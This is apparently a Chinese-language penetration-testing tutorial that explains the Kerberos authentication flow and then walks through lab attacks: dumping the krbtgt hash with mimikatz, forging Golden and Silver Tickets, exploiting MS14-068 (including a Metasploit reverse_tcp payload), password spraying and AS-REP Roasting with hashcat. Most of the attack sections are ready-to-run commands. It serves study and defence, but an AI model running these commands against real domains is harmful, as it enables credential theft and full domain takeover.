kerberos协议简介
kerberos是通过密钥加密技术为客户端/服务器(C/S)应用程序提供强身份验证的网络身份验证协议
存在三个角色
- Client,请求服务
- Server,提供服务
- KDC(Key Distribution Center)密钥分发中心
其中KDC安装在域控中,Client是否有权限访问服务由KDC发放的票据来决定
名词解释
- Authentication Service,身份验证服务,简称AS,用于KDC对Client认证。
- Ticket Grantng Service,票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)。
- TGT,Ticket Grant Ticket
kerberos认证过程
分为三个阶段:
- AS_REQ&AS_REP
- TGS_REQ&TGS_REP
- AP_REQ&AP_REP
过程解释:
- AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
- AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
- TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
- TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
- AP_REQ: Client拿着TGS票据去请求服务
- AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
AS_REQ&AS_REP
当域内某个客户端用户 Client 试图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS
认证服务发送一个 AS_REQ
认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash
加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。
当 Client 发送身份信息给 AS 后,AS 会先向活动目录 AD
请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对 AS_REQ
请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证
成功。然后 AS 会生成一个临时秘钥 Session-Key AS
,并使用客户端 Client 的 NTLM-Hash
加密 Session-key AS
作为响应包的一部分内容。此 Session-key AS 用于确保客户端和 KGS 之间的通信安全。
还有一部分内容就是 TGT
:使用 KDC 一个特定账户krbtgt的 NTLM-Hash 对 Session-key AS
、时间戳
、Client-info
进行的加密。这个特定账户就是创建域控时自动生成的 Krbtgt
用户,然后将这两部分以及 PAC
等信息回复给 Client,即 AS_REP 。PAC 中包含的是用户的 SID、用户所在的组等一些信息。
第一部分认证结束
AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用 Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和 TGT,因此可以相互转化。
TGS_REQ&TGS_REP
Client接收到AS_REP
之后,用自己的NTLM Hash对加密后的Session Key AS进行解密之后得到Session Key AS
,并且缓存到本地,此时需要发起服务请求的话,进行下一步,Client使用Session Key AS
对Client info
、Server info
、时间戳
进行加密,连同TGT票据构成TGS_REQ一起发给KDC的TGS
TGS得到TGS_REQ之后,用krbtgt
的hash值对TGT凭据进行解密,得到Seesion Key AS
、时间戳
、Client info
,之后对TGS_REQ用Session Key AS
加密的部分进行解密,得到时间戳,如果两部分时间戳相差不多的话(时效一般是20
分钟),进行TGS_REP的构造,用Session Key AS
对Session Key TGS
进行加密作为第一部分,用Server
的hash
对Client info
、时间戳
、Session Key TGS
进行加密作为第二部分,两部分构成了TGS票据发给Client
Client与TGS通信结束
AP_REQ&AP_REP
跟TGS_REQ&TGS_REP流程类似,Client拿到TGS_REP
,用Session Key AS
解密TGS_REP第一部分,得到Session Key TGS
缓存本地,然后用Session Key TGS
加密时间戳
、Client info
,连同ST
(被Server hash加密的部分)构成AP_REQ一起发送给Server
Server拿到AP_REP之后用Server Hash
对ST进行解密,得到Client info
、时间戳
、Serssion Key TGS
,然后用Session Key TGS对第一部分进行解密,得到时间戳,两部分时间戳进行比对,相差不大的话进行下一步。时间戳有效时间一般时间为8
小时。
服务器拿着PAC
向服务器发起请求,服务器拿到PAC进行解密,得到sid
、用户权限
等发回给Server,Server将Client的权限与ACL
进行比对,如果Client有访问权限,则返回AP_REP并与Client建立通信
Kerberos认证过程结束
PAC
PAC(Privilege Attribute Certificate)
,这是微软为了访问控制而引进的一个扩展,即特权访问证书。
在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?"
的问题,而没有解决"What can I do?"
的问题。
为了解决上面的这个问题,微软引进了PAC。即 KDC 向客户端 Client 返回 AS_REP
时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ
请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此域用户请求的服务资源的 ACL
进行对比,最后决定是否给用户提供相关的服务。
但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash,可以伪造 TGS,但是也不能制作 PAC,PAC 当然也验证不成功,但是有些服务不去验证 PAC,这是白银票据成功的前提。
黄金票据(Golden Ticket)
利用原理及作用
在我们得到了域控的控制权之后,可以得到krbtgt用户的Hash值,因此可以构造任意的TGT,而TGT包含域控PAC、时间戳等信息,无需在AS认证处认证且在TGS处(发票处)就会一路畅通,即使显示的是用Session Key TGS
加密的Client info
里面的信息显示的不是域控,这种方式生成的TGT票据叫黄金票据。
有了TGT之后就意味着拿到了域控的权限,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务,
既然已经有了域控的权限,那么这种方式就只适合作为后门
使用,只要krbtgt的Hash值没有变,就可以生成黄金票据。
利用条件
- 需要伪造的域管理员用户名
- 完整的域名
- 域
SID
krbtgt
的NTLM
哈希值
拓扑图
利用过程
1 | kerberos::purge //清除票据缓存 |
- 使用mimikatz抓取krbtgt用户的Hash
将mimikatz传到域控Win Server2008上,运行以下命令得到如下信息1
2
3
4
5privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或 hash
whoami /user//查看sid,不需要后四位
或
lsadump::dcsync /domain:test.com /user:krbtgt exit//导出指定与用户的hash值
- 域SID:
S-1-5-21-1790422151-2440830281-1210646243
- krgtbt的Hash值:
27f9378a9cd3619ec45c3ac66752a1f1
查看域名
1
net config workstation
这里域名是pentest.com
生成黄金票据
将mimikatz传到Win7上准备生成黄金票据,命令如下1
2kerberos::golden /user:administrator /domain:pentest.com /sid:S-1-5-21-1790422151-2440830281-1210646243 /krbtgt:27f9378a9cd3619ec45c3ac66752a1f1 /ticket:/golden.kirbi
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:golden.kirbi
在mimikatz运行目录生成票据注入黄金票据
1
2
3
4kerberos::ptt golden.kirbi
#kerberos::ptt <票据文件>
kerberos::tgt
#tgt命令用于查看注入情况
注入成功,输入“exit”退出mimikatz,此时,攻击者就可以利用 Windows 7 任意访问域控了利用黄金票据执行域控指令
验证是否成功1
2dir \\JC-DC\c$
#访问域控上的共享盘C盘
使用 psexec,wmi 等方法对域控进行远程执行命令,这里使用psexec执行命令,将psexec.exe传到Win7上,运行:1
psexec.exe \\JC-DC cmd
注意:
- 如果失败了检查黄金票据的生成条件是否填写错误,以及黄金票据是否过了时效
- 用psexec运行命令需要一点时间
命令总结
1 | klist purge//cmd中清除票据 |
Metasploit伪造黄金票据
msf会话建立之后
1 | load kiwi //加载kiwi模块 |
白银票据(Silver Ticket)
利用原理及作用
白银票据的利用过程是伪造 ST
,通过已知的服务器的服务账号的密码生成一张,可以访问该服务器的特定服务的ST
(可生成该服务器的任意服务
的ST
)。由于在伪造票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS不会对该 TGT 的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt
账号的密码哈希值,因此更加隐蔽
。
- 导入白银票据不需要管理员权限
利用条件
- 域名
- 域
SID
- 目标服务器的
FQDN
- 可利用的服务
- 服务账号的
NTLM
哈希值 - 要伪造的用户名(用于构造
PAC
,任意用户名应该都可以,检查PAC的服务不多)
拓扑图
利用过程
可以伪造任意有服务账号Hash
值的服务,这里伪造CIFS
服务权限,CIFS 服务通常用于Windows 主机之间的文件共享。
Win Server2008开启的共享:
抓取服务账号的Hash值
1
2privilege::debug
sekurlsa::logonpasswords //获取service账号的hash值
记录下JC-DC
(服务账号)的NTLM Hash9cf876262a1362df5a573ab77b5338d3
获取域名、域SID、FQDN
1
2
3net config workstation //域名
lsadump::lsa /patch //域SID
hostname //获取用户名,加上域名就是了伪造白银票据
1
kerberos::golden /domain:pentest.com /sid:S-l-5-21-1790422151-2440830281-1210646243 /target:JC-DC.pentest.com /rc4:9cf876262al362df5a573ab77b5338d3 /service:cifs /user:administrator /ptt
注入成功,尝试访问共享服务器的共享目录1
dir \\JC-DC.pentest.com\c$ //注意要用JQDN访问
命令总结
1 | kerberos::purge #清除票据缓存 |
白银票据与黄金票据作用
通常情况下,黄金票据和白银票据更适合做为一个安装在普通域成员主机上的连接到域控的后门。但在内网横向移动中也经常遇到他的身影,通过黄金票据和白银票据,我们可以通过当前那下的机器作为跳板使用 psexec
、wmi
等方式对目标机执行命令,也可以将生成的木马复制到目标机器上,然后通过计划任务或服务等方式执行,最终是目标机上线。
MS14-068
利用原理
这里便用到了我们之前所讲到的 PAC 这个东西,PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了MS14-068这个漏洞。
该漏洞是位于 kdcsvc.dll
域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
利用范围
未打3011780补丁的机子都能利用
拓扑图
利用过程
工具:MS14-068
Ms14-068.exe
1 | whoami /all //获取当前域用户的SID |
klist
查看票据注入情况
如上图,票据注入成功,此时,攻击者就可以利用 Windows 7 这个跳板机任意访问域中所有机器了,可以使用 net use
进行登录或者使用 psexec
,wmi
等方法进行远程执行命令,后续的操作就和黄金票据一样了。
Ms14-068.py
Linux下可用python脚本,用法一致
1 | python mS14-068.py -u hhh@pentest.com -s S-1-5-21-1790422151-2440830281-1210646243-1109 -d 192.168.2.2 -p 123456 |
Impacket的goldenPAC工具
这个是 Impacket 工具包里面的一个工具,是 ms14-068 与 psexec 结合的一个产物,利用起来十分顺手,并且该工具可以走代理进入内网,十分强大。地址:https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_23
1 | python3 goldenPac.py -dc-ip 192.168.93.30 -target-ip 192.168.93.20 whoamianony.org/bunny:Bunny2021@dc.whoamianony.org |
执行成功后即可获得目标主机的一个 Shell
。当然此工具不止是得到一个 Shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个 Payload
啥的都不在话下。
metasploit利用
1 | use auxiliary/admin/kerberos/ms14_068_kerberos_checksum |
/root/.msf4/loot
目录下生成票据文件 20210521104912_default_192.168.93.30_windows.kerberos_218042.bin
,但是我们还要进行对其格式转换,在 mimikatz
中输入命令,导出 kirbi 格式的文件:
1 | kerberos::clist "20210521104912_default_192.168.93.30_windows.kerberos_218042.bin" /export |
转换成了一个 0-00000000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi
,我们将其移动到了 Kali 的 /root
目录下,一会好操作!
- 首先需要让 Windows 7 上线 MSF
- 然后再这个 meterpreter 中加载 kiwi 模块:
1
load kiwi
- 然后输入命令导入刚才转换生成的票据:如果成功的话就可以切换后台,使用模块进行高权限票据提权就行了:
1
kerberos_ticket_use /root/0-00000000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi
1
2
3
4
5
6use exploit/windows/local/current_user_psexec
set technique PSH
set rhosts 192.168.93.30 # 域控制器地址
set payload windows/meterpreter/reverse_tcp
set session 1
exploit
密码喷洒攻击(Password Spraying)
在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为 “密码喷洒”(Password Spraying)的技术来进行测试和攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。主要用于横向移动
。
利用方法
导入ps文件
1 | Import-Module DomainPasswordSpray.ps1 |
获取UserList并写入userlist.txt文件(这一步主要是用于方便攻击者查看域用户,会在下一步自动进行)
1 | Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt |
执行DomianPasswordSpray攻击
1 | Invoke-DomainPasswordSpray -Password Spring2017 |
可用选项
1 | UserList - Optional UserList parameter. This will be generated automatically if not specified. |
AS-REP Roasting
AS_REQ & AS_REP
认证的过程是 Kerberos 身份认证的第一步,该过程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。
而如果域用户设置了选项 “Do not require Kerberos preauthentication“(该选项默认没有开启)关闭了预身份验证的话,攻击者可以使用指定的用户去请求票据,向域控制器发送 AS_REQ
请求,此时域控会不作任何验证便将 TGT 票据和加密的 Session-key
等信息返回。因此攻击者就可以对获取到的加密 Session-key AS
进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。
这种攻击方式被称作 AS-REP Roasting 攻击。
利用方法
前提:域用户设置了选项 “Do not require Kerberos preauthentication“(该选项默认没有开启)
Rubeus.exe
利用Rubeus.exe将开启了无需预认证的用户的Hash值导出
1 | Rubeus.exe asreproast |
Empire下的Powerview.ps1以及ASREPRoast.ps1
1 | powershell -exec bypass |
本地破解Hash
在$krb5asprep
后面添加$23
变为hashcat能识别的格式,用如下命令破解就好
1 | hashcat.exe -m 18200 hash.txt wordlists.txt --force |
拿到密码之后,如果此用户是Server,就可以构造白银票据。
参考链接
- https://daiker.gitbook.io/windows-protocol/kerberos/1
- https://mp.weixin.qq.com/s/Ic70dj7FSmDHGKTsekjhGQ
- https://mp.weixin.qq.com/s?src=11×tamp=1624875400&ver=3158&signature=zwbXTY30jKfbJXp9E8R2B*LPaSy5sqI8ivSMTMBVn-hil1WSf8YY8T2JKmWPFYmppnuEzW-bn8E9M*GgmjSNI49r64giE1GtTMwPxPWsSsQKjeVAxVg12r*wAxn-SOux&new=1
- https://daiker.gitbook.io/windows-protocol/kerberos/1